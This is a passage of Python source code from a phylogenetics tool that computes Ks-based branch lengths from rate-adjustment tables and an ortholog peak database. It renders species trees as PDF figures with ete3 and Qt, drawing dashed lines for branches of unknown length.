depending on whether it fits\n # in the width given by the branch line. Needs to be as a Face with position=\"branch-top\" so that it has access\n # to the node item through the parent item hierarchy.\n # It determines the plotting width of the branch line of a node via its parent item and compares it to the plotting\n # width of the branch length label. If the width of the branch length label is larger than the width of branch line\n # it clears the text of the branch length label.\n\n def __init__(self, clearable_text_face, *arg, **karg):\n QGraphicsRectItem.__init__(self, *arg, **karg)\n self.clearable_text_face = clearable_text_face\n\n def boundingRect(self):\n # we do not plot anything\n return QRectF(0, 0, 0, 0)\n\n def paint(self, painter, option, widget):\n if self.clearable_text_face is not None:\n logging.debug(f'LabelToggleItem paint \\t{self.clearable_text_face.node.name}')\n logging.debug(f' dist: {self.clearable_text_face.node.dist}')\n logging.debug(f' x: {self.x()}')\n logging.debug(f' scene x: {self.scenePos().x()}')\n logging.debug(f' parent x: {self.parentItem().x()}')\n # logging.debug(f' parent scene x: {self.parentItem().scenePos().x()}')\n # logging.debug(f' grandparent x: {self.parentItem().parentItem().x()}')\n # logging.debug(f' grandparent scene x: {self.parentItem().parentItem().scenePos().x()}')\n\n # the parent item of our (empty) item is the node item and the\n # plotting width of the branch line is the x position of that\n # node item (the default filled circle) in the coordinates of\n # the parent item.\n distance_branch_width = round(self.parentItem().x())\n logging.debug(f' dist branch width: {distance_branch_width}')\n\n # painter.setPen(QColor(\"blue\"))\n # painter.drawLine(0, 0, 0, 2)\n # painter.setPen(QColor(\"green\"))\n # painter.drawLine(distance_branch_width, 0, distance_branch_width, 2)\n\n distance_label_width = self.clearable_text_face.get_text_width()\n logging.debug(f' dist label width: {distance_label_width}')\n if distance_label_width >= distance_branch_width:\n logging.debug(f' dist label width >= dist branch width, clearing distance label!')\n self.clearable_text_face.clear_text()\n\n\nclass _ClearableTextFace(TextFace):\n \"\"\"\n Text Face for which the text can be cleared.\n\n Adapted from and extends ete3.treeview.faces.TextFace\n\n :param text: Text to be drawn\n :param ftype: Font type, e.g. Arial, Verdana, Courier (default=Arial)\n :param fsize: Font size, e.g. 10,12,6, (default=5)\n :param fgcolor: Foreground font color. RGB code or color name in :data:`SVG_COLORS` (default=\"black\")\n :param penwidth: Pen width used to draw the text (default=0)\n :param fstyle: \"normal\" or \"italic\" (default=\"normal\")\n \"\"\"\n\n def __repr__(self):\n return \"Clearable Text Face [%s] (%s)\" % (self._text, hex(self.__hash__()))\n\n def __init__(self, text, ftype=\"Arial\", fsize=10, fgcolor=\"black\", penwidth=0, fstyle=\"normal\"):\n\n Face.__init__(self)\n TextFace.__init__(self, text, ftype, fsize, fgcolor, penwidth, fstyle, False)\n\n self.type = \"item\"\n self.item = None\n\n def update_items(self):\n # uses protected member ete3.treeview.qt4_face_render._TextFaceItem, probably we should write our own\n self.item = _TextFaceItem(self, self.node, self.get_text())\n self.item.setFont(self._get_font())\n self.item.setBrush(QBrush(QColor(self.fgcolor)))\n\n def get_text_width(self):\n fm = QFontMetrics(self._get_font())\n text_width = fm.width(self.get_text())\n logging.debug(f'ClearableTextFace get_text_width \\t{self.node.name}')\n logging.debug(f' dist: {self.node.dist}')\n logging.debug(f' text: {self.get_text()}')\n logging.debug(f' text width: {text_width}')\n return text_width\n\n def clear_text(self):\n if self.item is not None:\n logging.debug(f'ClearableTextFace clear_text \\t{self.node.name}')\n self.item.setText(\"\")\n\n\n\ndef counts_expected_line_number_in_correction_table(species, tree, latin_names):\n \"\"\"\n Returns the expected number of lines of the complete rate-adjustment table:\n there is one line per species in the tree, excluding the species of\n interest itself and the species of the deepest outgroup branching from the root\n and that cannot be adjusted.\n\n :param species: node of the focal species\n :param tree: input tree object\n :param latin_names: a dictionary-like data structure that associates each informal species name to its latin name\n :return expected_species_in_correction_table: list of expected species in the adjustment table\n \"\"\"\n species_node = get_species_node(species, tree)\n species_history = get_species_history(species_node)\n expected_line_number_in_correction_table = len(species_history[-2]) - 1 \n\n leaves = species_history[-2].get_leaves()\n expected_species_in_correction_table = []\n for leaf in leaves:\n leaf = leaf.name\n if leaf != species:\n expected_species_in_correction_table.append(latin_names[leaf])\n\n return expected_species_in_correction_table\n\n\ndef find_missing_pairs_for_tree_rates(tree, species, species_history, latin_names):\n \"\"\"\n Finds all species pairs in the tree that are not strictly needed for the adjustment of\n divergence lines, but that are instead needed to be able to compute the branch length \n for all the branches present in the tree (with the exception of the base-most species).\n \n :param tree: input tree object\n :param species: node of the focal species\n :param species_history: the list of ancestor nodes of the focal species; includes the focal species and goes up to the root included\n :param latin_names: a dictionary-like data structure that associates each informal species name to its latin name\n :return missing_pairs_with_latin_names: list of lists, contains the missing necessary species name (both latin and informal names)\n :return missing_pairs: list of lists, contains the missing informal species names\n \"\"\"\n missing_pairs_with_latin_names = []\n missing_pairs = []\n for divergence_node in species_history[:-1]:\n sister_node = divergence_node.get_sisters()[0]\n for node in sister_node.traverse():\n if not node.is_leaf():\n children = node.get_children()\n leaf1 = children[0].get_leaves()[0]\n leaf2 = children[1].get_leaves()[0]\n if node not in missing_pairs_with_latin_names:\n latin1, latin2 = latin_names[leaf1.name], latin_names[leaf2.name]\n sorted_latin_tag = \"_\".join(sorted([latin1, latin2], key=str.casefold))\n missing_pairs_with_latin_names.append([sorted_latin_tag, sorted([leaf1.name, leaf2.name], key=str.casefold)])\n missing_pairs.append(sorted([leaf1.name, leaf2.name], key=str.casefold))\n return missing_pairs_with_latin_names, missing_pairs\n \n\ndef reorder_tree_leaves(tree, species):\n \"\"\"\n :param tree: the original tree object\n :param species: the name of the focal species\n :return: a new equivalent tree object with the focal species as top leaf\n \"\"\"\n species_node = get_species_node(species, tree)[0]\n sister_node = species_node.get_sisters()[0]\n sister_node = sister_node.write(format=9).rstrip(\";\")\n string = f\"({species_node.name},{sister_node})\"\n node = species_node.up\n\n while node != tree.get_tree_root():\n sister_node = node.get_sisters()[0]\n sister_node = sister_node.write(format=9).rstrip(\";\")\n string = \"(\" + string + \",\" + sister_node + \")\"\n node = node.up\n\n string = string + \";\"\n ordered_tree = Tree(string)\n return ordered_tree\n\n\ndef label_leaves_with_latin_names(tree, latin_names):\n \"\"\"\n Changes the name attribute of each leaf node object from the informal name to the latin name of the species and\n adds a TextFace to each leaf node object that displays it.\n\n :param tree: the Newick tree\n :param latin_names: a dictionary-like data structure that associates each informal species name to its latin name\n \"\"\"\n for leaf_node in tree.get_leaves():\n leaf_node.name = latin_names[leaf_node.name]\n # The whitespace after the name in the string (\"{leaf_node.name} \") is a padding from the branch line\n leaf_node.add_face(TextFace(f\"{leaf_node.name} \", ftype=\"Arial\", fsize=18, fstyle=\"italic\"), column=0,\n position=\"branch-right\")\n\n\ndef node_and_branch_style(tree):\n \"\"\"\n Sets the style of tree branches (solid lines) and their default size.\n In the final picture, it will be the style of the branch lines with known lengths.\n\n :param tree: the Newick tree\n \"\"\"\n nstyle_branch_circle = NodeStyle()\n nstyle_branch_circle[\"hz_line_width\"] = 2\n nstyle_branch_circle[\"vt_line_width\"] = 2\n nstyle_branch_circle[\"size\"] = 0\n for node in tree.traverse():\n node.set_style(nstyle_branch_circle)\n node.dist = 0.25\n if node.is_root():\n # make root branch shorter\n node.dist = 0.125\n # add a type feature to each node, so we can later label specific nodes with\n # specific types, see e.g. labeling_internal_nodes()\n # (if ete's TreeNode class would have a function has_feature() we wouldn't need this)\n node.add_feature(\"type\", \"node\")\n\n\ndef unknown_branch_len_style(unknown_node, root=False):\n \"\"\"\n Updates the style of the branch lines with unknown length (dashed lines).\n\n :param unknown_node: the node whose branch length is unknown (the branch that comes out of it and\n goes up to its parent node)\n :param root: whether the unknown_node is the root node (default=False)\n \"\"\"\n unknown_branch_style = NodeStyle()\n unknown_branch_style[\"hz_line_type\"] = 1\n if root:\n unknown_branch_style[\"vt_line_type\"] = 1\n unknown_branch_style[\"hz_line_width\"] = 2\n unknown_branch_style[\"vt_line_width\"] = 2\n unknown_branch_style[\"size\"] = 0\n unknown_node.set_style(unknown_branch_style)\n\n\ndef get_species_node(species_name, tree):\n \"\"\"\n :param species_name: the name of the focal species as it appears in the Newick tree\n :param tree: the Newick tree \n :return species_node: the tree node object associated to the focal species\n \"\"\"\n species_node = tree.search_nodes(name=species_name)\n if len(species_node) == 0:\n logging.error(f\"The focal species ({species_name}) was not found in the provided tree. \"\n f\"Exiting.\")\n sys.exit(1)\n return species_node\n\n\ndef get_species_history(species_node):\n \"\"\"\n :param species_node: the tree node object associated to the focal species\n :return species_history: list of the ancestor nodes of the focal species, from the focal species\n included until the root included\n \"\"\"\n species_history = []\n ancestors = species_node[0].get_ancestors() # ancestors are in order from leaf to root\n species_history.extend(species_node)\n species_history.extend(ancestors)\n return species_history\n\n\ndef labeling_internal_nodes(species_node):\n \"\"\"\n Labels the ancestor nodes of the focal species with numbers, starting from 1, until the root.\n Also labels the focal species and its ancestor nodes with a specific type feature.\n \n :param species_node: the tree node object associated to the focal species\n \"\"\"\n species_node[0].add_feature(\"type\", \"species_of_interest\")\n node_label = 1\n for ancestor in species_node[0].iter_ancestors():\n ancestor.name = node_label # the name label to be shown in the ASCII tree will start from 1\n ancestor.add_feature(\"type\", \"ancestor\")\n node_label = node_label + 1\n\n\ndef get_sister_species_of_a_node(currentnode):\n \"\"\"\n :param currentnode: the current node \n :return: the list containing the names of the sister species of the current node.\n \"\"\"\n # First get the sister node of currentnode\n sis_node = currentnode.get_sisters() # list with sister NODE(s) (not with the sister LEAVES...) -> there is only one sister node if the tree is binary\n if len(sis_node) != 1:\n sys.exit(logging.error(\"One or more phylogenetic relationships in the tree are unresolved (>2 branches). Exiting.\"))\n # Then get the leaves of the sister node (multiple sister leaves are instead allowed of course!)\n sisters = [] # list of all sister species\n sisters_leaves = sis_node[0].get_leaves()\n for sisters_leaf in sisters_leaves:\n sisters.append(sisters_leaf.name)\n return sisters\n\n\ndef get_outspecies_of_a_node(currentnode, max_num_outspecies):\n \"\"\"\n :param currentnode: the current node\n :param max_num_outspecies: the maximum number (N) of outspecies allowed for the adjustment (only the N closest will be considered)\n :return: a list containing the names of the N outgroup(s) of the current node.\n \"\"\"\n outspecies = [] # list of all outspecies of the current parent node\n for ancestor in currentnode.iter_ancestors():\n outgroup_node = ancestor.get_sisters() # get sister NODE(s) of the current parent node\n for branch in outgroup_node:\n outspecies_leaves = branch.get_leaves() # get the outspecies leaves\n # Limiting the amount of outgroups to the closest ones, if required in configuration file\n for outspecies_leaf in outspecies_leaves:\n if isinstance(max_num_outspecies, int):\n if len(outspecies) < max_num_outspecies:\n outspecies.append(outspecies_leaf.name)\n else:\n outspecies.append(outspecies_leaf.name)\n return outspecies\n\n\ndef get_branch_length_and_errorbox(species, ancestor_node, correction_table, consensus_strategy_for_multi_outgroups, latin_names, rate_species_dict, rate_sister_dict):\n \"\"\"\n NOTE: the average_peak_of_divergence_event, margin_error_box and error_text are not used later in the code, for now; they will be removed or re-integrated.\n The main purpose of this function is to update the two dictionaries collecting the branch-specific Ks contributions present in the correction_table (rate_species_dict and\n rate_sister_dict).\n\n Given an ancestor node belonging to the species history, it takes into account all the sister species that diverged at that node.\n For each sister, takes the adjusted divergence Ks value; then it makes an average adjusted Ks value to have a single representative Ks value for the node.\n For each sister, takes the error margins for the divergence (SD); then it considers the lowest and the highest error margins as the margins for the divergence. \n The functions takes into account the user choice on how to deal with multiple outgroup.\n Returns the (mean) Ks value for the current divergence node in the tree, and the left and right margin values for delimiting an error box around it.\n \n :param species: the current focal species\n :param ancestor_node: one of the internal nodes belonging to the path that goes from the tree root to the focal species\n :param correction_table: adjustment results in DataFrame format (contains both possible types of consensus strategy for how to deal with multiple outgroups)\n :param consensus_strategy_for_multi_outgroups: user choice about which consensus strategy to use when dealing with multiple outgroups\n :param latin_names: a dictionary-like data structure that associates each informal species name to its latin name\n :param rate_species_dict: empty dictionary that will associate the focal species with its branch-specific Ks contribution at each divergence\n :param rate_sister_dict: empty dictionary that will associate each sister species with its own branch-specific Ks contribution\n :return: average_peak_of_divergence_event, adjusted Ks value of the current divergence (it is a mean value in case of multiple species diverged at that node with the focal species) \n :return: margin_error_box, dictionary containing the smallest left error margin and the highest right error margin for the divergence when considering all the species diverging from that node\n :return: error_text, same as margin_error_box but in string format (left and right margins within brackets)\n \"\"\" \n ancestor_node_leaves = get_sister_species_of_a_node(ancestor_node) # getting the sisters involved in the current divergence node\n\n equivalent_peak_list = [] # divergence peaks from all the species that divergence in the current internal node \n errors_dict = {}\n\n # Depending on the user choice for dealing with multiple outgroups, we plot the results obtained by using\n # either the \"mean among outgroups\" strategy or the \"best outgroup\" strategy.\n # The parameter comes from the config file and it is given as argument to this function (\"consensus_strategy_for_multi_outgroups\")\n if consensus_strategy_for_multi_outgroups == \"mean among outgroups\":\n # Then consider the columns in the correction_table that are generated using the average method\n column_header_peak, column_header_SD, column_header_rate_species, column_header_rate_sister = \"Adjusted_Mode_Mean\", \"Adjusted_Mode_Mean_SD\", \"Ks_Focal_Mean\", \"Ks_Sister_Mean\"\n elif consensus_strategy_for_multi_outgroups == \"best outgroup\":\n # Then consider the columns in the correction_table that are generated using the best outgroup method\n column_header_peak, column_header_SD, column_header_rate_species, column_header_rate_sister = \"Adjusted_Mode_Best\", \"Adjusted_Mode_Best_SD\", \"Ks_Focal_Best\", \"Ks_Sister_Best\"\n\n # All the sister species from the current node provide equivalent data, because they all measure the same divergence (node)\n for sister in ancestor_node_leaves:\n latinSister = latin_names[sister]\n # Getting the adjusted peak (with SD) for the divergence with the current sister species\n corrected_peak = correction_table.loc[correction_table['Sister_Species'] == latinSister, [column_header_peak]]\n corrected_peak_float = corrected_peak.iat[0,0] # to convert from DataFrame type to Float type\n corrected_peak_sd = correction_table.loc[correction_table['Sister_Species'] == latinSister, [column_header_SD]]\n corrected_peak_sd_float = corrected_peak_sd.iat[0,0]\n equivalent_peak_list.append(corrected_peak_float)\n \n # Computing the left and right margins of the divergence for the current sister species \n left_margin_error = corrected_peak_float - corrected_peak_sd_float\n right_margin_error = corrected_peak_float + corrected_peak_sd_float\n errors_dict[sister] = [left_margin_error, right_margin_error]\n\n # Get the branch length for the focal species at each divergence node\n rate_species = correction_table.loc[correction_table['Sister_Species'] == latinSister, [column_header_rate_species]]\n rate_species_float = rate_species.iat[0,0] # to convert from DataFrame type to Float type\n rate_species_dict[species] = rate_species_float\n # Get the branch length of the sister species (it's the branch-specific Ks contribution of the species) and adding it to a dictionary\n rate_sister = correction_table.loc[correction_table['Sister_Species'] == latinSister, [column_header_rate_sister]]\n rate_sister_float = rate_sister.iat[0,0] # to convert from DataFrame type to Float type\n rate_sister_dict[sister] = rate_sister_float\n \n # After collecting data of each sister species for the current divergence node, we need a single value to represent this node in the tree.\n # The average among the equivalent peaks of all the sisters is taken.\n # Note: this is not used for now.\n average_peak_of_divergence_event = mean(equivalent_peak_list)\n\n # The single mean value just computed is just a representative number of a broader range given by the error margins.\n # Let's take into account the margins of all the sister species, and consider the overall information from the lowest margin to the highest margin.\n # Getting the left and right margins to make an \"error box\" around the divergence node \n margin_error_box = {}\n smallest_lef_margin = float(\"inf\")\n highest_right_margin = -float(\"inf\")\n for sister in errors_dict.keys():\n smallest_lef_margin = min([smallest_lef_margin, errors_dict[sister][0]])\n highest_right_margin = max([highest_right_margin, errors_dict[sister][1]])\n margin_error_box[\"left\"] = round(smallest_lef_margin, 2)\n margin_error_box[\"right\"] = round(highest_right_margin, 2)\n error_text = [margin_error_box[\"left\"], margin_error_box[\"right\"]]\n\n return average_peak_of_divergence_event, margin_error_box, error_text\n\n\ndef get_rates_from_current_analysis(rate_dict, correction_table, species, species_history, latin_names):\n \"\"\"\n Gets the branch-specific Ks contributions obtained from the current analysis, namely the ones computed between the focal species\\\\\n and each of the other species. Updates rate_dict with such branch-specific Ks contributions.\n\n :param rate_dict: empty dictionary that will collect the known branch-specific Ks contributions per tree node\n :param correction_table: adjustment data from which the branch-specific Ks contributions coming from the current analysis will be extracted\n :param species: the focal species of the current analysis\n :param species_history: the list of ancestor nodes of the focal species; includes the focal species and goes up to the root included\n :param latin_names: dictionary associating the informal species names to their latin names\n \"\"\"\n already_used_leaves = []\n for node in species_history[1:-1]:\n rate_dict[node] = {}\n leaves = node.get_leaves()\n for leaf in leaves:\n if leaf.name != species and leaf.name not in already_used_leaves:\n rate_sister = correction_table.loc[correction_table['Sister_Species'] == latin_names[leaf.name], [\"Ks_Sister_Mean\"]]\n rate_sister_float = rate_sister.iat[0,0] # to convert from DataFrame type to Float type\n rate_dict[node][leaf.name] = rate_sister_float\n already_used_leaves.append(leaf.name)\n\n\ndef get_rates_from_ortholog_peak_db(rate_dict, sister_node, latin_names, ortholog_db, peak_stats, missing_ortholog_data_from_database):\n \"\"\"\n It's possible that some branches in the tree can't be assigned a length equal to branch-specific Ks contributions based only on the data\\\\\n coming from the current rate-adjustment analysis. In this case, the code tries to compute the missing branch-specific Ks contributions on the spot\\\\\n with the relative rate test formulas by looking for the missing ortholog data in the ortholog peak database: \\\\\n in fact, other rate-adjustments based on other focal species may have already provided such missing ortholog peaks needed for the RRT formulas,\\\\\n or perhaps the user can decide to run separately from this analysis the wgd ortholog pipeline needed to get the missing ortholog peaks\\\\\n and then they can try again to obtain the tree figure with complete branch lengths.\n\n :param rate_dict: dictionary that collects the known branch-specific Ks contributions per tree node\n :param sister_node: the sister node (it's only one!) of the current ancestor node of the focal species (which belongs to species_history)\n :param latin_names: dictionary associating the informal species names to their latin names\n :param ortholog_db: filename/path to the ortholog peak database\n :param peak_stats: flag to specify whether the ortholog distribution peak is the mode or the median\n :param missing_ortholog_data_from_database: flag to state if one or more branches are lacking Ks contributions due to missing data in the ortholog peak database \n :return: the updated flag (set to True if there are missing ortholog data and some branch lengths are unknown)\n \"\"\"\n list_of_nodes = []\n for n in sister_node[0].traverse():\n list_of_nodes.append(n)\n\n for node in list_of_nodes:\n if not node.is_leaf():\n rate_dict[node] = {}\n outspecies_list = get_sister_species_of_a_node(node)\n outspecies_list.extend(get_outspecies_of_a_node(node, None))\n children = node.get_children()\n child1_leaves, child2_leaves = children[0].get_leaves(), children[1].get_leaves()\n \n node_rate_resolved = False\n for child1_leaf in child1_leaves:\n for child2_leaf in child2_leaves:\n reduced_latin_names = {child1_leaf.name : latin_names[child1_leaf.name], child2_leaf.name : latin_names[child2_leaf.name]}\n sorted_names = sorted(reduced_latin_names.items(), key=lambda x: x[1].lower()) # alphabetically sorted according to value and case-insensitive\n sister1, sister2 = sorted_names[0][0], sorted_names[1][0]\n\n latinSister1, latinSister2 = sorted_names[0][1], sorted_names[1][1]\n latinSister1_latinSister2 = \"_\".join([latinSister1, latinSister2])\n\n # Check if the ortholog distribution peak of the two species is present in the database\n # If not, warn the user that it has to be computed separately to have all branch length\n # equal to branch-specific Ks contributions\n try:\n __ = ortholog_db.at[latinSister1_latinSister2, 'Mode']\n except Exception:\n missing_ortholog_data_from_database = True\n\n # Check if there are ortholog data in database to use a species as an outgroup for the two leaves\n # There should always be at least the focal species of the current analysis, except if deleted from DB for some reasons\n list_of_successful_outspecies = []\n for outspecies in outspecies_list:\n latinSister1_latinOut = \"_\".join(sorted([latinSister1, latin_names[outspecies]]))\n latinSister2_latinOut = \"_\".join(sorted([latinSister2, latin_names[outspecies]]))\n\n try:\n __ = ortholog_db.at[latinSister1_latinOut, 'Mode']\n __ = ortholog_db.at[latinSister2_latinOut, 'Mode']\n list_of_successful_outspecies.append(outspecies)\n except Exception:\n pass\n\n try: # Trying to compute the branch-specific Ks contributions (relative rate test formulas)\n rate_species, __, rate_sister, __ = fcCorrect.decompose_ortholog_ks(ortholog_db, latinSister1_latinSister2, latinSister1_latinOut, latinSister2_latinOut, peak_stats)\n if sister1 not in rate_dict[node]:\n rate_dict[node][sister1] = rate_species\n if sister2 not in rate_dict[node]:\n rate_dict[node][sister2] = rate_sister\n node_rate_resolved = True\n break\n except Exception:\n pass\n \n if list_of_successful_outspecies == []:\n missing_ortholog_data_from_database = True\n \n if node_rate_resolved: # no need to investigate other leaves of child2 node;\n break # the rate (length) of these branches can be computed with at least one species pair \n if node_rate_resolved: # same thing here, no need to investigate other leaves of child1 node\n break \n\n for leaf in node.get_leaves():\n parent = node.up\n try:\n if not node.is_leaf():\n branch_length = rate_dict[parent][leaf.name] - rate_dict[node][leaf.name]\n node.dist = branch_length\n draw_branch_length_label(node, known_distance=True)\n break\n else:\n branch_length = rate_dict[parent][leaf.name]\n node.dist = branch_length\n draw_branch_length_label(node, known_distance=True)\n break\n except Exception: # Not enough data to compute the rate / set a length\n node.dist = 10 # impossible number to flag an unknown length\n draw_branch_length_label(node, known_distance=False)\n unknown_branch_len_style(node)\n\n if not node.is_leaf(): # just to avoid that there are multiple AttrFace labels on the internal node branches\n break\n return missing_ortholog_data_from_database\n\n\ndef draw_branch_length_label(node, known_distance):\n \"\"\"\n Places a label with the branch length on top of a node's branch line.\n\n :param node: the node to place the label on\n :param known_distance: flag to state if the branch length of this node is known or unknown\n \"\"\"\n # Actually places the real label on top of the branch line and an empty ghost label below it,\n # both using \"float\" positions. This is a trick, because otherwise the label would overlap with line.\n # I didn't use the \"branch-top\" position because that mode automatically adapts and extends the\n # branch line to the width of the label with a dotted line, visually distorting the actual branch lengths.\n\n # Generate the branch length label/face based on whether the distance is known\n if known_distance:\n distance = f\"{round(node.dist, 2)}\"\n else:\n distance = \"\"\n distance_face = _ClearableTextFace(distance)\n distance_face.margin_bottom = 3\n if node.is_leaf():\n distance_face.margin_right = 0\n else:\n distance_face.margin_right = 1\n\n # add the branch length label as a \"float\" so it does not cause\n # dotted extension of the branch length line to make the label fit\n node.add_face(distance_face, column=0, position=\"float\")\n # add another ghost/empty label so the branch length label sits above\n # and not on top of the line\n node.add_face(TextFace(\" \", fsize=8), column=0, position=\"float\")\n\n if not node.type == \"species_of_interest\" and not node.type == \"ancestor\":\n # Add an empty face with a _LabelToggleItem at \"branch-top\" to extract\n # the plot width of the branch line and enable/disable the branch length label\n # depending on whether it fits in this width\n empty_label_toggle_face = StaticItemFace(_LabelToggleItem(distance_face))\n node.add_face(empty_label_toggle_face, column=0, position=\"branch-top\")\n\n\ndef adapt_unknown_branch_length(tree):\n \"\"\"\n Sets a default length for the branch lines with unknown real length.\n This default values is the average among all known lengths, so that \n the lines with unknown length are more or less in scale with the others.\n The root length is smaller (1/2 average length) just to save some space in the figure.\n In the code, a branch with unknown length was flagged with a distance attribute set as an impossible number, 10,\n that's why the function ignores all branches with distance equal to 10.\n \n :param tree: the tree object\n \"\"\"\n distance_list = []\n for node in tree.traverse():\n if node.dist != 10: # impossible number to flag an unknown length\n distance_list.append(node.dist)\n avg_dist = mean(distance_list)\n for node in tree.traverse():\n if node.is_root():\n # make root branch shorter\n node.dist = avg_dist / 4\n unknown_branch_len_style(node, root=True) \n if node.dist == 10:\n if node.up.is_root() and node.is_leaf():\n # make branch of single outgroup longer\n node.dist = avg_dist * 2\n else:\n node.dist = avg_dist\n unknown_branch_len_style(node)\n\n\ndef plotting_tree(species, latin_names, original_tree, correction_table, consensus_strategy_for_multi_outgroups, ortholog_db, peak_stats, nextflow_flag):\n \"\"\"\n Generate a PDF figure of the input tree with branch lengths equal to Ks distances.\n If it is not possible to compute the branch length for a branch, the branch line is dashed. This happens when some\\\\\n ortholog data to compute the branch-specific Ks contribution are missing.\n\n :param species: the current focal species\n :param latin_names: a dictionary-like data structure that associates each informal species name to its latin name\n :param original_tree: Newick tree format of the phylogenetic tree among the involved species\n :param correction_table: adjustment results in DataFrame format (contains both possible types of consensus strategy for how to deal with multiple outgroups)\n :param consensus_strategy_for_multi_outgroups: user choice about which consensus strategy to use when dealing with multiple outgroups\n :para ortholog_db: ortholog peak database used to get ortholog data for the relative rate test; if not available, will be ignored\n :param peak_stats: flag to specify whether the ortholog distribution peak is the mode or the median\n :param nextflow_flag: boolean flag to state whether the script is run in the Nextflow pipeline or not\n \"\"\"\n # Get an equivalent tree where the focal species is the top leaf\n tree = reorder_tree_leaves(original_tree, species)\n node_and_branch_style(tree)\n \n species_node = get_species_node(species, tree)\n \n labeling_internal_nodes(species_node)\n species_history = get_species_history(species_node)\n rate_species_dict, rate_sister_dict = {}, {}\n\n for ancestor_node in species_history[:-2]:\n # NOTE: at the moment the following function is only used to fill in the dictionaries of branch-specific Ks contributions\n average_peak_of_divergence_event, margin_error_box, error_text = get_branch_length_and_errorbox(species, ancestor_node,\n correction_table, consensus_strategy_for_multi_outgroups,\n latin_names, rate_species_dict, rate_sister_dict)\n\n # Adding the branch length to the focal species node, otherwise it lacks it\n if ancestor_node.name == species:\n ancestor_node.dist = rate_species_dict[species]\n draw_branch_length_label(ancestor_node, known_distance=True)\n\n # Adding as TextFaces both the divergent Ks of the node (as mean) and the error range (left-most and right-most boundaries)\n divergence_node = ancestor_node.up # getting parent node, where the current divergence takes place \n divergence_node.add_feature(\"rate_species\", rate_species_dict[species])\n divergence_node.add_feature(\"avg_peak\", round(average_peak_of_divergence_event, 2))\n divergence_node.add_feature(\"margins\", f\"({error_text[0]}, {error_text[1]})\")\n ### divergence_node.add_face(AttrFace(\"margins\", fsize=5), column=0, position=\"branch-right\") [ NOT USED FOR NOW ]\n\n # Setting the branch length of the nodes belonging to the speciation history of the focal species\n for divergence_node in species_history[1:]:\n parent_node = divergence_node.up\n try:\n divergence_node.dist = round(parent_node.rate_species - divergence_node.rate_species, 3)\n draw_branch_length_label(divergence_node, known_distance=True)\n except Exception:\n divergence_node.dist = 10 # impossible number to flag an unknown length\n draw_branch_length_label(divergence_node, known_distance=False)\n unknown_branch_len_style(divergence_node)\n\n if ortholog_db.empty: # branch-specific Ks contributions can be obtained only from adjustment_tables\n logging.info(\"Getting branch-specific Ks contributions from rate-adjustment table data\")\n else: # if the ortholog DB is available, we can try to compute the branch-specific Ks contributions from there too\n logging.info(\"Getting branch-specific Ks contributions from rate-adjustment table data\")\n logging.info(\"Computing branch-specific Ks contributions from ortholog peak data in database by applying principles of the relative rate test\")\n\n rate_dict = {}\n get_rates_from_current_analysis(rate_dict, correction_table, species, species_history, latin_names)\n\n # Setting the branch length of the other remaining nodes\n missing_ortholog_data_from_database = False\n missing_ortholog_data_from_correction_table = False\n\n for node in species_history[:-1]:\n sister_node = node.get_sisters() # is a list containing the sister NODE (it's only ONE node)\n\n if not ortholog_db.empty: # if there is an ortholog database that can help with computing the missing branch lengths\n if len(sister_node[0].get_leaves()) > 1:\n missing_ortholog_data_from_database = get_rates_from_ortholog_peak_db(rate_dict, sister_node, latin_names, \n ortholog_db, peak_stats, \n missing_ortholog_data_from_database)\n else:\n if sister_node[0].name in rate_sister_dict.keys(): # if leaf has known length\n sister_node[0].dist = rate_sister_dict[sister_node[0].name]\n draw_branch_length_label(sister_node[0], known_distance=True)\n else: # if the leaf has unknown length\n sister_node[0].dist = 10 # impossible number to flag an unknown length\n draw_branch_length_label(sister_node[0], known_distance=False)\n unknown_branch_len_style(sister_node[0])\n\n else: # if ortholog database not available (the variable was previously set as an empty dataframe)\n if len(sister_node[0].get_leaves()) > 1:\n missing_ortholog_data_from_correction_table = True # correction_tables is not enough to know all branch lengths!\n sister_node[0].dist = 10 # impossible number to flag an unknown length\n draw_branch_length_label(sister_node[0], known_distance=False)\n unknown_branch_len_style(sister_node[0])\n for node in sister_node[0].get_descendants():\n node.dist = 10 # impossible number to flag an unknown length\n draw_branch_length_label(node, known_distance=False)\n unknown_branch_len_style(node)\n else:\n leaf = sister_node[0].get_leaves()[0] # there is only one leaf\n if leaf.name in rate_sister_dict.keys():\n leaf.dist = rate_sister_dict[leaf.name]\n draw_branch_length_label(leaf, known_distance=True)\n else: # if the leaf has unknown length\n leaf.dist = 10 # impossible number to flag an unknown length\n draw_branch_length_label(leaf, known_distance=False)\n unknown_branch_len_style(leaf)\n \n # If the ortholog peak database is lacking some required data (must have been deleted by the user) or\n # if the peak database has been deleted and only the correction_table has been used for the branch contributions, gives a warning\n if missing_ortholog_data_from_database or missing_ortholog_data_from_correction_table:\n logging.warning(\"\")\n logging.warning(\"One or more branch lengths are unknown (dashed line) due to missing ortholog distribution peak data\")\n\n # If in Nextflow mode, tell the user to wait until the pipeline is finished in order to have all branch lengths\n if nextflow_flag:\n if missing_ortholog_data_from_database:\n logging.info(f\"As soon as new ortholog data will become available, the tree branch lengths will be updated\")\n # If manual mode, tell the user how to get a complete branch tree (probably they deleted some data in the peak database)\n else:\n if missing_ortholog_data_from_database or missing_ortholog_data_from_correction_table:\n logging.warning(f\"It's necessary to run a new Nextflow (or manual) pipeline to complete the tree branch length information\")\n \n label_leaves_with_latin_names(tree, latin_names)\n adapt_unknown_branch_length(tree)\n\n ts = TreeStyle()\n # ts.title.add_face(TextFace(\" Input tree with branch length equal to Ks distances \", ftype=\"Arial\", fsize=18), column=0)\n ts.orientation = 1\n ts.branch_vertical_margin = 14\n ts.show_leaf_name = False # because there is a Face showing it\n ts.show_branch_length = False\n ts.margin_left = 25\n ts.margin_right = 25\n ts.margin_top = 25\n ts.scale = 200\n #ts.scale_length = # to set a fixed scale branch length\n root_of_corrected_tree = species_history[-1]\n root_of_corrected_tree.render(os.path.join(\"rate_adjustment\", f\"{species}\", f\"{_TREE_BRANCH_DISTANCES.format(species)}\"), w=4.5, units=\"in\", tree_style=ts)\n\n\ndef plot_uncorrected_phylogeny(tree, species, latin_names, species_history):\n \"\"\"\n Generates a PDF figure of the input tree with same length for all branches.\n\n :param tree: input tree from configuration file\n :param species: the current focal species\n :param latin_names: a dictionary-like data structure that associates each informal species name to its latin name\n :param species_history: the list of ancestor nodes of the focal species, including the focal species and going up to the root.\n \"\"\"\n label_leaves_with_latin_names(tree, latin_names)\n node_and_branch_style(tree)\n ts = TreeStyle()\n # ts.title.add_face(TextFace(\" Input phylogenetic tree\", ftype=\"Arial\", fsize=18), column=0)\n ts.orientation = 1\n ts.branch_vertical_margin = 14\n 